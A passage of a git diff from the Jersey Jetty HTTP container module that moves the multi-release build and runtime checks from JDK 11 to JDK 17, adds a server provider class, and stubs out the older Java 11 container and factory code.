- <artifactId>jetty-util</artifactId>
+ <artifactId>jetty-security</artifactId>
<exclusions>
<exclusion>
<groupId>org.slf4j</groupId>
@@ -119,83 +125,15 @@
</resources>
</build>
- <properties>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
- <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
- </properties>
-
<profiles>
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<properties>
- <jetty.version>${jetty9.version}</jetty.version>
+ <jetty.version>${jetty11.version}</jetty.version>
</properties>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-client</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -216,17 +154,54 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>JettyInclude</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
+ <!-- ${java17.build.outputDirectory} does not work here -->
+ <exists>target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -247,16 +222,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -268,14 +243,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -289,4 +264,5 @@
</build>
</profile>
</profiles>
+
</project>
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
index 4b80825..2e8b5c5 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -34,7 +34,7 @@
public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
@Override
public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
@@ -45,7 +45,7 @@
public <T> T createContainer(final Class<T> type, final Application application,
Object parentContext) throws ProcessingException {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
new file mode 100644
index 0000000..5022fee
--- /dev/null
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProvider implements WebServerProvider {
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+ final SeBootstrap.Configuration configuration) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
+ ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
index 1fcc1b1..3d519b6 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -16,455 +16,41 @@
package org.glassfish.jersey.jetty;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.lang.reflect.Type;
-import java.net.URI;
-import java.net.URISyntaxException;
-import java.security.Principal;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.servlet.AsyncContext;
-import jakarta.servlet.AsyncEvent;
-import jakarta.servlet.AsyncListener;
+import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.Response.Status;
-import jakarta.ws.rs.core.SecurityContext;
-
-import jakarta.inject.Inject;
-import jakarta.inject.Provider;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-
-import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.ReferencingFactory;
-import org.glassfish.jersey.internal.util.ExtendedLogger;
-import org.glassfish.jersey.internal.util.collection.Ref;
+import org.eclipse.jetty.server.Handler;
import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.internal.RequestScoped;
import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ContainerException;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ContainerResponse;
import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.internal.ContainerUtils;
import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.ContainerResponseWriter;
-
-import org.eclipse.jetty.http.HttpStatus;
-import org.eclipse.jetty.server.Request;
-import org.eclipse.jetty.server.Response;
-import org.eclipse.jetty.server.handler.AbstractHandler;
/**
- * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}.
+ * Jersey {@code Container} implementation based on Jetty {@link Handler}.
*
* @author Arul Dhesiaseelan (aruld@acm.org)
* @author Libor Kramolis
* @author Marek Potociar
*/
-public final class JettyHttpContainer extends AbstractHandler implements Container {
-
- private static final ExtendedLogger LOGGER =
- new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST);
-
- private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType();
- private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType();
-
- private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode();
- private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST;
-
- /**
- * Cached value of configuration property
- * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}.
- * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}.
- */
- private boolean configSetStatusOverSendError;
-
- /**
- * Referencing factory for Jetty request.
- */
- private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> {
- @Inject
- public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) {
- super(referenceFactory);
- }
- }
-
- /**
- * Referencing factory for Jetty response.
- */
- private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> {
- @Inject
- public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) {
- super(referenceFactory);
- }
- }
-
- /**
- * An internal binder to enable Jetty HTTP container specific types injection.
- * This binder allows to inject underlying Jetty HTTP request and response instances.
- * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor,
- * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
- * {@link jakarta.inject.Provider injection provider}.
- */
- private static class JettyBinder extends AbstractBinder {
-
- @Override
- protected void configure() {
- bindFactory(JettyRequestReferencingFactory.class).to(Request.class)
- .proxy(false).in(RequestScoped.class);
- bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {})
- .in(RequestScoped.class);
-
- bindFactory(JettyResponseReferencingFactory.class).to(Response.class)
- .proxy(false).in(RequestScoped.class);
- bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {})
- .in(RequestScoped.class);
- }
- }
-
- private volatile ApplicationHandler appHandler;
-
- @Override
- public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest,
- final HttpServletResponse httpServletResponse) throws IOException, ServletException {
-
- if (request.isHandled()) {
- return;
- }
-
- final Response response = request.getResponse();
- final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError);
- try {
- LOGGER.debugLog("JettyHttpContainer.handle(...) started");
- final URI baseUri = getBaseUri(request);
- final URI requestUri = getRequestUri(request, baseUri);
- final ContainerRequest requestContext = new ContainerRequest(
- baseUri,
- requestUri,
- request.getMethod(),
- getSecurityContext(request),
- new MapPropertiesDelegate(),
- appHandler.getConfiguration());
- requestContext.setEntityStream(request.getInputStream());
- final Enumeration<String> headerNames = request.getHeaderNames();
- while (headerNames.hasMoreElements()) {
- final String headerName = headerNames.nextElement();
- String headerValue = request.getHeader(headerName);
- requestContext.headers(headerName, headerValue == null ? "" : headerValue);
- }
- requestContext.setWriter(responseWriter);
- requestContext.setRequestScopedInitializer(injectionManager -> {
- injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request);
- injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response);
- });
-
- // Mark the request as handled before generating the body of the response
- request.setHandled(true);
- appHandler.handle(requestContext);
- } catch (URISyntaxException e) {
- setResponseForInvalidUri(response, e);
- } catch (final Exception ex) {
- throw new RuntimeException(ex);
- }
- }
-
- private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException {
- final String serverAddress = getServerAddress(baseUri);
- String uri = request.getRequestURI();
-
- final String queryString = request.getQueryString();
- if (queryString != null) {
- uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString);
- }
-
- return new URI(serverAddress + uri);
- }
-
- private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException {
- LOGGER.log(Level.FINER, "Error while processing request.", throwable);
-
- if (configSetStatusOverSendError) {
- response.reset();
- //noinspection deprecation
- response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
- } else {
- response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
- }
- }
-
- private String getServerAddress(URI baseUri) {
- String serverAddress = baseUri.toString();
- if (serverAddress.charAt(serverAddress.length() - 1) == '/') {
- return serverAddress.substring(0, serverAddress.length() - 1);
- }
- return serverAddress;
- }
-
- private SecurityContext getSecurityContext(final Request request) {
- return new SecurityContext() {
-
- @Override
- public boolean isUserInRole(final String role) {
- return request.isUserInRole(role);
- }
-
- @Override
- public boolean isSecure() {
- return request.isSecure();
- }
-
- @Override
- public Principal getUserPrincipal() {
- return request.getUserPrincipal();
- }
-
- @Override
- public String getAuthenticationScheme() {
- return request.getAuthType();
- }
- };
- }
-
-
- private URI getBaseUri(final Request request) throws URISyntaxException {
- return new URI(request.getScheme(), null, request.getServerName(),
- request.getServerPort(), getBasePath(request), null, null);
- }
-
- private String getBasePath(final Request request) {
- final String contextPath = request.getContextPath();
-
- if (contextPath == null || contextPath.isEmpty()) {
- return "/";
- } else if (contextPath.charAt(contextPath.length() - 1) != '/') {
- return contextPath + "/";
- } else {
- return contextPath;
- }
- }
-
- private static final class ResponseWriter implements ContainerResponseWriter {
-
- private final Response response;
- private final AsyncContext context;
- private final boolean configSetStatusOverSendError;
-
- ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) {
- this.response = response;
- this.context = request.startAsync();
- this.configSetStatusOverSendError = configSetStatusOverSendError;
- }
-
- @Override
- public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context)
- throws ContainerException {
-
- final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo();
-
- final int code = statusInfo.getStatusCode();
- final String reason = statusInfo.getReasonPhrase() == null
- ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase();
-
- response.setStatusWithReason(code, reason);
-
- if (contentLength != -1 && contentLength < Integer.MAX_VALUE) {
- response.setContentLength((int) contentLength);
- }
- for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) {
- for (final String value : e.getValue()) {
- response.addHeader(e.getKey(), value);
- }
- }
-
- try {
- return response.getOutputStream();
- } catch (final IOException ioe) {
- throw new ContainerException("Error during writing out the response headers.", ioe);
- }
- }
-
- @Override
- public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) {
- try {
- if (timeOut > 0) {
- final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
- context.setTimeout(timeoutMillis);
- }
- context.addListener(new AsyncListener() {
- @Override
- public void onComplete(AsyncEvent asyncEvent) throws IOException {
-
- }
-
- @Override
- public void onTimeout(AsyncEvent asyncEvent) throws IOException {
- if (timeoutHandler != null) {
- timeoutHandler.onTimeout(ResponseWriter.this);
- }
- }
-
- @Override
- public void onError(AsyncEvent asyncEvent) throws IOException {
-
- }
-
- @Override
- public void onStartAsync(AsyncEvent asyncEvent) throws IOException {
-
- }
- });
- return true;
- } catch (final Exception ex) {
- return false;
- }
- }
-
- @Override
- public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException {
- if (timeOut > 0) {
- final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit);
- context.setTimeout(timeoutMillis);
- }
- }
-
- @Override
- public void commit() {
- try {
- closeOutput(response);
- } catch (final IOException e) {
- LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e);
- } finally {
- if (context.getRequest().isAsyncStarted()) {
- context.complete();
- }
- LOGGER.log(Level.FINEST, "commit() called");
- }
- }
-
- private void closeOutput(Response response) throws IOException {
- try {
- response.completeOutput();
- } catch (final IOException e) {
- throw e;
- } catch (NoSuchMethodError e) {
- // try older Jetty Response#closeOutput
- try {
- Method method = response.getClass().getMethod("closeOutput");
- method.invoke(response);
- } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) {
- throw new IOException(ex);
- }
- }
- }
-
- @Override
- public void failure(final Throwable error) {
- try {
- if (!response.isCommitted()) {
- try {
- if (configSetStatusOverSendError) {
- response.reset();
- //noinspection deprecation
- response.setStatus(INTERNAL_SERVER_ERROR, "Request failed.");
- } else {
- response.sendError(INTERNAL_SERVER_ERROR, "Request failed.");
- }
- } catch (final IllegalStateException ex) {
- // a race condition externally committing the response can still occur...
- LOGGER.log(Level.FINER, "Unable to reset failed response.", ex);
- } catch (final IOException ex) {
- throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR,
- "Request failed."), ex);
- }
- }
- } finally {
- LOGGER.log(Level.FINEST, "failure(...) called");
- commit();
- rethrow(error);
- }
- }
-
- @Override
- public boolean enableResponseBuffering() {
- return false;
- }
-
- /**
- * Rethrow the original exception as required by JAX-RS, 3.3.4.
- *
- * @param error throwable to be re-thrown
- */
- private void rethrow(final Throwable error) {
- if (error instanceof RuntimeException) {
- throw (RuntimeException) error;
- } else {
- throw new ContainerException(error);
- }
- }
-
- }
+public final class JettyHttpContainer implements Container {
@Override
public ResourceConfig getConfiguration() {
- return appHandler.getConfiguration();
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
@Override
public void reload() {
- reload(new ResourceConfig(getConfiguration()));
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
@Override
public void reload(final ResourceConfig configuration) {
- appHandler.onShutdown(this);
-
- appHandler = new ApplicationHandler(configuration.register(new JettyBinder()));
- appHandler.onReload(this);
- appHandler.onStartup(this);
- cacheConfigSetStatusOverSendError();
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
@Override
public ApplicationHandler getApplicationHandler() {
- return appHandler;
- }
-
- /**
- * Inform this container that the server has been started.
- * This method must be implicitly called after the server containing this container is started.
- *
- * @throws java.lang.Exception if a problem occurred during server startup.
- */
- @Override
- protected void doStart() throws Exception {
- super.doStart();
- appHandler.onStartup(this);
- }
-
- /**
- * Inform this container that the server is being stopped.
- * This method must be implicitly called before the server containing this container is stopped.
- *
- * @throws java.lang.Exception if a problem occurred during server shutdown.
- */
- @Override
- public void doStop() throws Exception {
- super.doStop();
- appHandler.onShutdown(this);
- appHandler = null;
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
/**
@@ -474,7 +60,7 @@
* @param parentContext DI provider specific context with application's registered bindings.
*/
JettyHttpContainer(final Application application, final Object parentContext) {
- this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext);
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
/**
@@ -483,18 +69,16 @@
* @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
*/
JettyHttpContainer(final Application application) {
- this.appHandler = new ApplicationHandler(application, new JettyBinder());
-
- cacheConfigSetStatusOverSendError();
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
/**
- * The method reads and caches value of configuration property
- * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
+ * Create a new Jetty HTTP container.
+ *
+ * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
*/
- private void cacheConfigSetStatusOverSendError() {
- this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
- ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
+ JettyHttpContainer(final Class<? extends Application> applicationClass) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
index 39f23e8..61e1977 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,32 +16,20 @@
package org.glassfish.jersey.jetty;
-import java.net.URI;
-import java.util.concurrent.ThreadFactory;
-
import jakarta.ws.rs.ProcessingException;
-
-import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
import org.glassfish.jersey.server.ContainerFactory;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.server.spi.Container;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.SecureRequestCustomizer;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
+import java.net.URI;
/**
* Factory for creating and starting Jetty server handlers. This returns
* a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ * the server to be stopped by invoking the {@link Server#stop()} method.
* <p/>
* To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
* This will be used to decrypt and encrypt information sent over the
@@ -91,7 +79,7 @@
* resource configuration.
* <p/>
* This implementation defers to the
- * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
* for creating an Container that manages the root resources.
*
* @param uri the URI to create the http server. The URI scheme must be
@@ -117,7 +105,7 @@
* resource configuration.
* <p/>
* This implementation defers to the
- * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
* for creating an Container that manages the root resources.
*
* @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
@@ -196,7 +184,7 @@
* @param uri the URI to create the http server. The URI scheme must be
* equal to {@code https}. The URI user information and host
* are ignored. If the URI port is not present then port
- * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * {@value Container#DEFAULT_HTTPS_PORT} will be
* used. The URI path, query and fragment components are ignored.
* @param sslContextFactory this is the SSL context factory used to configure SSL connector
* @param config the resource configuration.
@@ -220,7 +208,7 @@
* @param uri the URI to create the http server. The URI scheme must be
* equal to {@code https}. The URI user information and host
* are ignored. If the URI port is not present then port
- * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * {@value Container#DEFAULT_HTTPS_PORT} will be
* used. The URI path, query and fragment components are ignored.
* @param sslContextFactory this is the SSL context factory used to configure SSL connector
* @param handler the container that handles all HTTP requests
@@ -236,70 +224,6 @@
final SslContextFactory.Server sslContextFactory,
final JettyHttpContainer handler,
final boolean start) {
- if (uri == null) {
- throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
- }
- final String scheme = uri.getScheme();
- int defaultPort = Container.DEFAULT_HTTP_PORT;
-
- if (sslContextFactory == null) {
- if (!"http".equalsIgnoreCase(scheme)) {
- throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
- }
- } else {
- if (!"https".equalsIgnoreCase(scheme)) {
- throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
- }
- defaultPort = Container.DEFAULT_HTTPS_PORT;
- }
- final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
-
- final Server server = new Server(new JettyConnectorThreadPool());
- final HttpConfiguration config = new HttpConfiguration();
- if (sslContextFactory != null) {
- config.setSecureScheme("https");
- config.setSecurePort(port);
- config.addCustomizer(new SecureRequestCustomizer());
-
- final ServerConnector https = new ServerConnector(server,
- new SslConnectionFactory(sslContextFactory, "http/1.1"),
- new HttpConnectionFactory(config));
- https.setPort(port);
- server.setConnectors(new Connector[]{https});
-
- } else {
- final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
- http.setPort(port);
- server.setConnectors(new Connector[]{http});
- }
- if (handler != null) {
- server.setHandler(handler);
- }
-
- if (start) {
- try {
- // Start the server.
- server.start();
- } catch (final Exception e) {
- throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
- }
- }
- return server;
- }
-
- // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
- // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
- //
- // Keeping this for backwards compatibility for the time being
- private static final class JettyConnectorThreadPool extends QueuedThreadPool {
- private final ThreadFactory threadFactory = new ThreadFactoryBuilder()
- .setNameFormat("jetty-http-server-%d")
- .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
- .build();
-
- @Override
- public Thread newThread(Runnable runnable) {
- return threadFactory.newThread(runnable);
- }
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 0000000..70fcc56
--- /dev/null
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,80 @@
+/*
